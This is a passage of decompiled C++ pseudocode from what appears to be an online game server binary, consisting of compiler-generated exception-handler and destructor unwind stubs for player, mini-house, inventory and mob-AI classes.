FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00595868) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__uib_AfterCast_UseItemSilverWing_UseEffect__UAEXPAVShinePlayer_ShineObjectClass__PAVItemBag__PBUItemDataBoxIndex_ItemDataBox__E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595880) -------------------------------------------------------- void __usercall _L162789(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 252)); } //----- (0059588B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__uib_AfterCast_UseItemNormal_UseEffect__UAEXPAVShinePlayer_ShineObjectClass__PAVItemBag__PBUItemDataBoxIndex_ItemDataBox__E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005958C0) -------------------------------------------------------- void __usercall _L163083(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (005958C8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_RoarItemUseSuccess_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005958E0) -------------------------------------------------------- void __usercall _L161893(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (005958E8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_FurnitureEmotionStop_ShineMiniHouse_ShineObjectClass__UAEEGPAVShineObject_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595900) -------------------------------------------------------- void __usercall _L162138(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00595908) -------------------------------------------------------- void __usercall _L162139(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00595910) -------------------------------------------------------- void __usercall _L162140(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 + 4)); } //----- (00595918) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_SaveMHInven_ShineMiniHouse_ShineObjectClass__UAEEPAUPROTO_NC_CHAR_ITEM_CMD__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595930) -------------------------------------------------------- void __usercall _L162311(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 88)); } //----- (00595938) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_CompulsionMoveTo_ShineMiniHouse_ShineObjectClass__UAEHPAUPROTO_NC_MINIHOUSE_COMPULSIONMOVETO_REQ___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595950) -------------------------------------------------------- void __usercall _L162789_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00595958) -------------------------------------------------------- void __usercall _L162790(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00595960) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_SendOutSideTitleCmd_ShineMiniHouse_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595970) -------------------------------------------------------- void __usercall _L163088(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 3368)); } //----- (0059597B) -------------------------------------------------------- void __usercall _L163089(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 3392)); } //----- (00595986) -------------------------------------------------------- void __usercall _L163090(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 3404)); } //----- (00595991) -------------------------------------------------------- void __usercall _L163091(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 3408)); } //----- (0059599C) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_CreateFurniture_ShineMiniHouse_ShineObjectClass__UAEHPAVShinePlayer_2_PAUPROTO_NC_MINIHOUSE_CREATE_FURNITURE_REQ___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005959B0) -------------------------------------------------------- void __usercall _L163504(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 3300)); } //----- (005959BB) -------------------------------------------------------- void __usercall _L163505(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 3316)); } //----- (005959C6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_DeleteFurniture_ShineMiniHouse_ShineObjectClass__UAEHPAVShinePlayer_2_PAUPROTO_NC_MINIHOUSE_DELETE_FURNITURE_REQ___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005959D0) -------------------------------------------------------- void __usercall _L163755(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 3336)); } //----- (005959DB) -------------------------------------------------------- void __usercall _L163756(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 3396)); } //----- (005959E6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_ReArrangeFurniture_ShineMiniHouse_ShineObjectClass__UAEHPAVShineObject_2_PAUPROTO_NC_MINIHOUSE_REARRANGE_REQ___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005959F0) -------------------------------------------------------- void __usercall _L164033(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 204)); } //----- (005959FB) -------------------------------------------------------- void __usercall _L164034(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 268)); } //----- (00595A06) -------------------------------------------------------- void __usercall _L164035(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00595A11) -------------------------------------------------------- void __usercall _L164037(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 268)); } //----- (00595A30) -------------------------------------------------------- void __usercall _L164348(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 188)); } //----- (00595A3B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smh_FurnitureActiveCheck_ShineMiniHouse_ShineObjectClass__QAEXPAVItemBag__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595A50) -------------------------------------------------------- void __usercall _L164560(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00595A58) -------------------------------------------------------- void __usercall _L164561(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 44)); } //----- (00595A60) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_GetItemCellByFurnitureHandle_ShineMiniHouse_ShineObjectClass__UAEPAVItemInventoryCell__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595A70) -------------------------------------------------------- void __usercall _L164867(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00595A78) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_ActivePortal_ShineMiniHouse_ShineObjectClass__UAEEG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595A90) -------------------------------------------------------- void __usercall _L164959(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00595A98) -------------------------------------------------------- void __usercall _L164960(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 44)); } //----- (00595AA0) -------------------------------------------------------- void __usercall _L164961(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 64)); } //----- (00595AA8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_EndureGradeDownTimeUpdate_ShineMiniHouse_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595AC0) -------------------------------------------------------- void __usercall _L165101(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00595AC8) -------------------------------------------------------- void __usercall _L165102(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 44)); } //----- (00595AD0) -------------------------------------------------------- void __usercall _L165103(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 68)); } //----- (00595AD8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_DoingEndureGradeDown_ShineMiniHouse_ShineObjectClass__UAEEPAE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595AF0) -------------------------------------------------------- void __usercall _L165238(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 + 4)); } //----- (00595AF8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_CanFurnitureEmotion_ShineMiniHouse_ShineObjectClass__UAEGPAVShineObject_2_PAUPROTO_NC_MINIHOUSE_FURNITURE_EMOTION_REQ___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595B10) -------------------------------------------------------- void __usercall _L165331(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 388)); } //----- (00595B1B) -------------------------------------------------------- void __usercall _L165332(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00595B26) -------------------------------------------------------- void __usercall _L165407(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 412)); } //----- (00595B31) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_BuildingMiniHouse_ShineMiniHouse_ShineObjectClass__UAEEPAVShinePlayer_2_PAD11HE1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595B40) -------------------------------------------------------- void __usercall _L168781(int a1) { ItemEquipment::_ItemEquipment(*(ItemEquipment **)(a1 - 16)); } //----- (00595B48) -------------------------------------------------------- void __usercall _L168782(int a1) { ItemInventory::_ItemInventory((ItemInventory *)(*(_DWORD *)(a1 - 16) + 3368)); } //----- (00595B56) -------------------------------------------------------- void __usercall _L168783(int a1) { ItemQuestItemBox::_ItemQuestItemBox((ItemQuestItemBox *)(*(_DWORD *)(a1 - 16) + 20076)); } //----- (00595B64) -------------------------------------------------------- void __usercall _L168784_0(int a1) { ItemMiniHouseBox::_ItemMiniHouseBox((ItemMiniHouseBox *)(*(_DWORD *)(a1 - 16) + 20660)); } //----- (00595B72) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1CharacterInventory__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595B80) -------------------------------------------------------- void __usercall _L168832(int a1) { NPCAction::DieAction::_DieAction(*(SlantedCoordList::ObjectYCoordNode **)(a1 - 16)); } //----- (00595B88) -------------------------------------------------------- void __usercall _L168833(int a1) { NPCAction::DieAction::_DieAction((SlantedCoordList::ObjectYCoordNode *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (00595B93) -------------------------------------------------------- void __usercall _L168834(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 16)); } //----- (00595B9E) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1__unnamed_ShineObject_ShineObjectClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595BB0) -------------------------------------------------------- void __usercall _L170991(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00595BD0) -------------------------------------------------------- void __usercall _L169092_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 16)); } //----- (00595BD8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_RemakeHandle_ShineObject_ShineObjectClass__UAEGG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595BF0) -------------------------------------------------------- void __usercall _L169574(int a1) { CharacterInventory::_CharacterInventory(*(CharacterInventory **)(a1 - 16)); } //----- (00595BF8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1__unnamed_ShinePlayer_ShineObjectClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595C10) -------------------------------------------------------- void __usercall _L169597(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (00595C1B) -------------------------------------------------------- void __usercall _L169598(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 20)); } //----- (00595C26) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1NPCProcess_ShinePlayer_ShineObjectClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595C30) -------------------------------------------------------- void __usercall _L169636(int a1) { StreetBoothSell::_StreetBoothSell((StreetBoothSell *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (00595C50) -------------------------------------------------------- void __usercall _L169734(int a1) { ItemFurnicherBox::_ItemFurnicherBox((ItemFurnicherBox *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00595C5B) -------------------------------------------------------- void __usercall _L169735(int a1) { ItemFurnicherBox::_ItemFurnicherBox((ItemFurnicherBox *)(*(_DWORD *)(a1 - 16) + 11376)); } //----- (00595C69) -------------------------------------------------------- void __usercall _L169736(int a1) { ItemFurnicherBox::_ItemFurnicherBox((ItemFurnicherBox *)(*(_DWORD *)(a1 - 16) + 22748)); } //----- (00595C77) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1MiniHouseInven_ShineMiniHouse_ShineObjectClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595C90) -------------------------------------------------------- void __usercall _L169791(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain(*(MobTacticElement::MobActionNoBrain **)(a1 - 16)); } //----- (00595C98) -------------------------------------------------------- void __usercall _L169792(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (00595CA3) -------------------------------------------------------- void __usercall _L169793(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 16)); } //----- (00595CAE) -------------------------------------------------------- void __usercall _L169794(int a1) { MobTacticElement::MobActionWander::_MobActionWander((MobTacticElement::MobActionWander *)(*(_DWORD *)(a1 - 16) + 40)); } //----- (00595CB9) -------------------------------------------------------- void __usercall _L169795(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 68)); } //----- (00595CC4) -------------------------------------------------------- void __usercall _L169796(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 80)); } //----- (00595CCF) -------------------------------------------------------- void __usercall _L169797(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 88)); } //----- (00595CDA) -------------------------------------------------------- void __usercall _L169798(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 100)); } //----- (00595CE5) -------------------------------------------------------- void __usercall _L169799(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 108)); } //----- (00595CF0) -------------------------------------------------------- void __usercall _L169800(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 124)); } //----- (00595CFB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1Actor_MobActionArgument_MobTacticElement__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595D10) -------------------------------------------------------- unsigned int __cdecl _L171022() { unsigned int result; // eax@1 result = _S51_4 & 0xFFFFFFFE; _S51_4 &= 0xFFFFFFFEu; return result; } //----- (00595D1E) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_DamageLog_ShineObject_ShineObjectClass__QAEXPADHHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595D30) -------------------------------------------------------- void __usercall _L171327(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00595D38) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_AllOfRange_ShineObject_ShineObjectClass__QAEEKPBUSHINE_XY_TYPE__HPAUFanFormSectorArgument__PAVAxialListIterator__EG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595D50) -------------------------------------------------------- void __usercall _L171530(int a1) { ShineObjectClass::ShineObject::_ShineObject(*(_DWORD *)(a1 - 16)); } //----- (00595D58) -------------------------------------------------------- void __usercall _L171531(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 140)); } //----- (00595D66) -------------------------------------------------------- void __usercall _L171532(int a1) { ShineObjectClass::ShineMobileObject::AS::_AS((ShineObjectClass::ShineMobileObject::AS *)(*(_DWORD *)(a1 - 16) + 204)); } //----- (00595D74) -------------------------------------------------------- void __usercall _L171533(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 3736)); } //----- (00595D82) -------------------------------------------------------- void __usercall _L171534(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 4008)); } //----- (00595D90) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ShineMobileObject_ShineObjectClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595DA0) -------------------------------------------------------- void __usercall _L171800(int a1) { ShineObjectClass::ShineObject::_ShineObject(*(_DWORD *)(a1 - 16)); } //----- (00595DA8) -------------------------------------------------------- void __usercall _L171801(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 140)); } //----- (00595DB6) -------------------------------------------------------- void __usercall _L171802(int a1) { ShineObjectClass::ShineMobileObject::AS::_AS((ShineObjectClass::ShineMobileObject::AS *)(*(_DWORD *)(a1 - 16) + 204)); } //----- (00595DC4) -------------------------------------------------------- void __usercall _L171803(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 3736)); } //----- (00595DD2) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ShineMobileObject_ShineObjectClass__UAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595DE0) -------------------------------------------------------- void __usercall _L171858(int a1) { MobTargetAggresive::_MobTargetAggresive(*(MobTargetAggresive **)(a1 - 16)); } //----- (00595DE8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1MobTargetPlayerCaptivate__UAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595E00) -------------------------------------------------------- void __usercall _L172936(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (00595E08) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_DummyFunction_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595E20) -------------------------------------------------------- void __usercall _L172984(int a1) { ShineObjectClass::ShineMobileObject::_ShineMobileObject(*(_DWORD *)(a1 - 16)); } //----- (00595E28) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ShineDoor_ShineObjectClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595E40) -------------------------------------------------------- void __usercall _L173160(int a1) { MobAggroManager::_MobAggroManager(*(MobAggroManager **)(a1 - 16)); } //----- (00595E48) -------------------------------------------------------- void __usercall _L173161_0(int a1) { MobTargetBout::_MobTargetBout((MobTargetNoBrain *)(*(_DWORD *)(a1 - 16) + 344)); } //----- (00595E56) -------------------------------------------------------- void __usercall _L173162(int a1) { MobTargetAggresive::_MobTargetAggresive((MobTargetAggresive *)(*(_DWORD *)(a1 - 16) + 368)); } //----- (00595E64) -------------------------------------------------------- void __usercall _L173163(int a1) { MobTargetBout::_MobTargetBout((MobTargetNoBrain *)(*(_DWORD *)(a1 - 16) + 424)); } //----- (00595E72) -------------------------------------------------------- void __usercall _L173164(int a1) { MobTargetAggresive2::_MobTargetAggresive2((MobTargetAggresive2 *)(*(_DWORD *)(a1 - 16) + 448)); } //----- (00595E80) -------------------------------------------------------- void __usercall _L173165(int a1) { MobTargetAggresiveALL::_MobTargetAggresiveALL((MobTargetAggresiveALL *)(*(_DWORD *)(a1 - 16) + 504)); } //----- (00595E8E) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1Selector_MobActionArgument_MobTacticElement__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595EA0) -------------------------------------------------------- void __usercall _L173589(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00595EA8) -------------------------------------------------------- void __usercall _L173590(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 68)); } //----- (00595EB3) -------------------------------------------------------- void __usercall _L173591(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 100)); } //----- (00595EBE) -------------------------------------------------------- void __usercall _L173592(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 132)); } //----- (00595ECC) -------------------------------------------------------- void __usercall _L173593(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 164)); } //----- (00595EDA) -------------------------------------------------------- void __usercall _L173594(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 196)); } //----- (00595EE8) -------------------------------------------------------- void __usercall _L173595(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 228)); } //----- (00595EF6) -------------------------------------------------------- void __usercall _L173596(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 260)); } //----- (00595F04) -------------------------------------------------------- void __usercall _L173597(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 292)); } //----- (00595F12) -------------------------------------------------------- void __usercall _L173598(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 324)); } //----- (00595F20) -------------------------------------------------------- void __usercall _L173599(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 356)); } //----- (00595F2E) -------------------------------------------------------- void __usercall _L173600(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 388)); } //----- (00595F3C) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ShineObjectManager__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595F50) -------------------------------------------------------- void __usercall _L173856(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00595F58) -------------------------------------------------------- void __usercall _L173857(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 20)); } //----- (00595F60) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__som_AllocObject_ShineObjectManager__QAEPAVShineObject_ShineObjectClass__PAGG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595F70) -------------------------------------------------------- void __usercall _L174105(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00595F78) -------------------------------------------------------- void __usercall _L174106(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 24)); } //----- (00595F80) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__som_FindNPC_ShineObjectManager__QAEPAVShineObject_ShineObjectClass__PATName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595F90) -------------------------------------------------------- void __usercall _L176632(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00595F98) -------------------------------------------------------- void __usercall _L176633(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00595FA0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_LogoutPacketBroadcast_ShineObject_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595FB0) -------------------------------------------------------- void __usercall _L174498(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00595FBB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl 